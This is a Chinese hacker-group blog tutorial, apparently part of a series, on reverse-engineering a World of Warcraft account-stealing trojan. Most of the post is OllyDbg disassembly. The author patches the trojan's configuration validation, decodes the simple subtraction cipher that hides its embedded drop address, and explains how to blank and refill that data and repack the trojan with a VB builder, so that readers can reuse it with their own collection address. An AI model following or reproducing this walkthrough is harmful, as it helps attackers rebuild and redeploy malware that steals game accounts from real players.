注册
登录
| 关键词： dword ptr eax mov call ebp 00404 push color E8 |
上篇在这里：/Article/200704/17070.html作者：Open[x.g.c] 中国X黑客小组 （ http://www.cnxhacker.com/ ）来源：Opens Blog整理一下亂七八糟的筆記。應是上二個月的事吧.接著上回。就當帶帶你們有些不會的入下門吧！上次偶寫了一篇這次就不寫那麼詳細了（沒有看過第一篇的。可以在偶的BLOG中找找）上回逆向的WOW木馬。用戶信息（收信地址）是經過加密後以附加數據的方式添加到文件的尾端。這次要說的WOW木馬。不同於上一次。它把用戶信息直接直接寫到文件內。如何定位。其實相對來說是件很簡單的問題。很明顯這是預留的空位 再用十六進制編輯軟件打開查找:用OD跟蹤發現:粉紅色圈著的是要讀取的長度 選譯了的是經過加密後的用戶信息 紅色圈數據是檢證數據的合法性貼上OD中的匯編碼: 0040604A . 8D45 F0 lea eax, dword ptr [ebp-10]0040604D . BA DC624000 mov edx, 004062DC00406052 . E8 4DD6FFFF call 004036A400406057 . 8B45 F0 mov eax, dword ptr [ebp-10]0040605A . E8 49100000 call 004070A8 ; [color=Red]验证数据的合法性[/color]0040605F . 85C0 test eax, eax00406061 . EB 11 jmp short 00406074 ; [color=Red]这里原本是je偶现在改为jmp[/color]00406063 . 6A 00 push 0 ; /ExitCode = 000406065 . E8 26DFFFFF call <jmp.&kernel32.ExitProcess> ; \ExitProcess0040606A .^ E9 FBFEFFFF jmp 00405F6A0040606F . E8 A8D4FFFF call 0040351C00406074 > 8B03 mov eax, dword ptr [ebx]00406076 . 33D2 xor edx, edx00406078 . 8990 15110000 mov dword ptr [eax+1115], edx0040607E . 8D55 CC lea edx, dword ptr [ebp-34]00406081 . B8 04654000 mov eax, 00406504 ; ASCII "潇?00406086 . E8 1DEBFFFF call 00404BA80040608B . FF75 CC push dword ptr [ebp-34]0040608E . A1 D8804000 mov eax, dword ptr [4080D8]00406093 . FF30 push dword ptr [eax]00406095 . 8D55 C8 lea edx, dword ptr [ebp-38]00406098 . B8 10654000 mov eax, 00406510 ; ASCII "?祆"0040609D . E8 06EBFFFF call 00404BA8004060A2 . FF75 C8 push dword ptr [ebp-38]004060A5 . 8D45 F8 lea eax, dword ptr [ebp-8]004060A8 . BA 03000000 mov edx, 3004060AD . E8 92D7FFFF call 00403844004060B2 . 8D45 C4 lea eax, dword ptr [ebp-3C]004060B5 . E8 7EEFFFFF call 00405038004060BA . 8B55 C4 mov edx, dword ptr [ebp-3C]004060BD . 8D45 F4 lea eax, dword ptr [ebp-C]004060C0 . 8B4D F8 mov ecx, dword ptr [ebp-8]004060C3 . E8 08D7FFFF call 004037D0004060C8 . 8B45 F4 mov eax, dword ptr [ebp-C]004060CB . E8 F8E1FFFF call 004042C8004060D0 . 84C0 test al, al004060D2 . 74 0E je short 004060E2004060D4 . 8B45 F4 mov eax, dword ptr [ebp-C]004060D7 . E8 A8D8FFFF call 00403984004060DC . 50 push eax ; /FileName004060DD . E8 A6DEFFFF call <jmp.&kernel32.DeleteFileA> ; \DeleteFileA004060E2 > 6A 01 push 1004060E4 . 8D55 C0 lea edx, dword ptr [ebp-40]004060E7 . B8 20654000 mov eax, 00406520 ; ASCII "潇毂"004060EC . E8 B7EAFFFF call 00404BA8004060F1 . 8B45 C0 mov eax, dword ptr [ebp-40]004060F4 . 50 push eax004060F5 . 8D55 BC lea edx, dword ptr [ebp-44]004060F8 . B8 04654000 mov eax, 00406504 ; ASCII "潇?004060FD . E8 A6EAFFFF call 00404BA800406102 . 8B45 BC mov eax, dword ptr [ebp-44]00406105 . 8B4D F4 mov ecx, dword ptr [ebp-C]00406108 . 5A pop edx00406109 . E8 3AE9FFFF call 00404A480040610E . 8B45 F8 mov eax, dword ptr [ebp-8]00406111 . E8 6ED8FFFF call 0040398400406116 . 50 push eax ; /FileName00406117 . E8 14DFFFFF call <jmp.&kernel32.LoadLibraryA> ; \LoadLibraryA0040611C . 8BF0 mov esi, eax0040611E . 85F6 test esi, esi00406120 . 75 10 jnz short 0040613200406122 . 8B45 F4 mov eax, dword ptr [ebp-C]00406125 . E8 5AD8FFFF call 004039840040612A . 50 push eax ; /FileName0040612B . E8 00DFFFFF call <jmp.&kernel32.LoadLibraryA> ; \LoadLibraryA00406130 . 8BF0 mov esi, eax00406132 > 85F6 test esi, esi00406134 . 0F84 53010000 je 0040628D0040613A . 8D55 B8 lea edx, dword ptr [ebp-48]0040613D . B8 30654000 mov eax, 0040653000406142 . E8 61EAFFFF call 00404BA800406147 . 8B45 B8 mov eax, dword ptr [ebp-48]0040614A . E8 35D8FFFF call 004039840040614F . 50 push eax ; /ProcNameOrOrdinal00406150 . 56 push esi ; |hModule00406151 . E8 A2DEFFFF call <jmp.&kernel32.GetProcAddress> ; \GetProcAddress00406156 . 89C7 mov edi, eax00406158 . 8D55 B4 lea edx, dword ptr [ebp-4C]0040615B . B8 3C654000 mov eax, 0040653C00406160 . E8 43EAFFFF call 00404BA800406165 . 8B45 B4 mov eax, dword ptr [ebp-4C]00406168 . E8 17D8FFFF call 004039840040616D . 50 push eax ; /ProcNameOrOrdinal0040616E . 56 push esi ; |hModule0040616F . E8 84DEFFFF call <jmp.&kernel32.GetProcAddress> ; \GetProcAddress00406174 . 8945 FC mov dword ptr [ebp-4], eax00406177 . 8B45 F0 mov eax, dword ptr [ebp-10]0040617A . E8 05D8FFFF call 004039840040617F . 8BD0 mov edx, eax00406181 . 8D45 AC lea eax, dword ptr [ebp-54]00406184 . E8 B3D5FFFF call 0040373C00406189 . 8B45 AC mov eax, dword ptr [ebp-54]0040618C . 8D55 B0 lea edx, dword ptr [ebp-50]0040618F . E8 ACEAFFFF call 00404C40 ; [color=Red]这里开始解密数据[/color]00406194 . 8B55 B0 mov edx, dword ptr [ebp-50]00406197 . 8D45 F0 lea eax, dword ptr [ebp-10]0040619A . E8 05D5FFFF call 004036A40040619F . 8D45 A4 lea eax, dword ptr [ebp-5C]004061A2 . BA 40654000 mov edx, 00406540-------------------------------------------------------------------------------------------------------------------跟進解密CALL： 00404C40 /$ 55 push ebp00404C41 |. 8BEC mov ebp, esp00404C43 |. 83C4 F4 add esp, -0C00404C46 |. 53 push ebx00404C47 |. 56 push esi00404C48 |. 57 push edi00404C49 |. 33C9 xor ecx, ecx00404C4B |. 894D F4 mov dword ptr [ebp-C], ecx00404C4E |. 8955 F8 mov dword ptr [ebp-8], edx00404C51 |. 8945 FC mov dword ptr [ebp-4], eax00404C54 |. 8B45 FC mov eax, dword ptr [ebp-4]00404C57 |. E8 18EDFFFF call 0040397400404C5C |. 33C0 xor eax, eax00404C5E |. 55 push ebp00404C5F |. 68 E04C4000 push 00404CE000404C64 |. 64:FF30 push dword ptr fs:[eax]00404C67 |. 64:8920 mov dword ptr fs:[eax], esp00404C6A |. 8B45 F8 mov eax, dword ptr [ebp-8]00404C6D |. E8 9AE9FFFF call 0040360C00404C72 |. 8B45 FC mov eax, dword ptr [ebp-4]00404C75 |. E8 0AEBFFFF call 0040378400404C7A |. 8BF8 mov edi, eax00404C7C |. 85FF test edi, edi00404C7E |. 7E 42 jle short 00404CC200404C80 |. BE 01000000 mov esi, 1 ; [color=Red]记为I[/color]00404C85 |> 8B45 FC /mov eax, dword ptr [ebp-4]00404C88 |. 8A5C30 FF |mov bl, byte ptr [eax+esi-1] ; [color=Red]依次读取加密数据。记为A[/color]00404C8C |. 8BC6 |mov eax, esi00404C8E |. 25 01000080 |and eax, 80000001 ; [color=Red]I and 80000001[/color]00404C93 |. 79 05 |jns short 00404C9A00404C95 |. 48 |dec eax00404C96 |. 83C8 FE |or eax, FFFFFFFE00404C99 |. 40 |inc eax00404C9A |> 85C0 |test eax, eax00404C9C |. 75 05 |jnz short 00404CA300404C9E |. 80EB 39 |sub bl, 39 ; [color=Red] if I=0 THEN A-39[/color]00404CA1 |. EB 03 |jmp short 00404CA600404CA3 |> 80EB 26 |sub bl, 26 ; [color=Red]else A-26[/color]00404CA6 |> 8D45 F4 |lea eax, dword ptr [ebp-C]00404CA9 |. 8BD3 |mov edx, ebx00404CAB |. E8 7CEAFFFF |call 0040372C00404CB0 |. 8B55 F4 |mov edx, dword ptr [ebp-C]00404CB3 |. 8B45 F8 |mov eax, dword ptr [ebp-8]00404CB6 |. E8 D1EAFFFF |call 0040378C00404CBB |. 8B45 F8 |mov eax, dword ptr [ebp-8]00404CBE |. 46 |inc esi00404CBF |. 4F |dec edi00404CC0 |.^ 75 C3 \jnz short 00404C8500404CC2 |> 33C0 xor eax, eax00404CC4 |. 5A pop edx00404CC5 |. 59 pop ecx00404CC6 |. 59 pop ecx00404CC7 |. 64:8910 mov dword ptr fs:[eax], edx00404CCA |. 68 E74C4000 push 00404CE700404CCF |> 8D45 F4 lea eax, dword ptr [ebp-C]00404CD2 |. E8 35E9FFFF call 0040360C00404CD7 |. 8D45 FC lea eax, dword ptr [ebp-4]00404CDA |. E8 2DE9FFFF call 0040360C00404CDF \. C3 retn算法很簡單是不下面要做的是把選取的都填充為2C 包括驗證數據也一起填充（因為不須要它了。偶懶。懶得去寫程序逆推那驗證串）然後把它打包著資源文件供釋放更改VB代碼如下:清楚的代码在大图：/Article/UploadFiles/200707/20070709075305229.webp |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
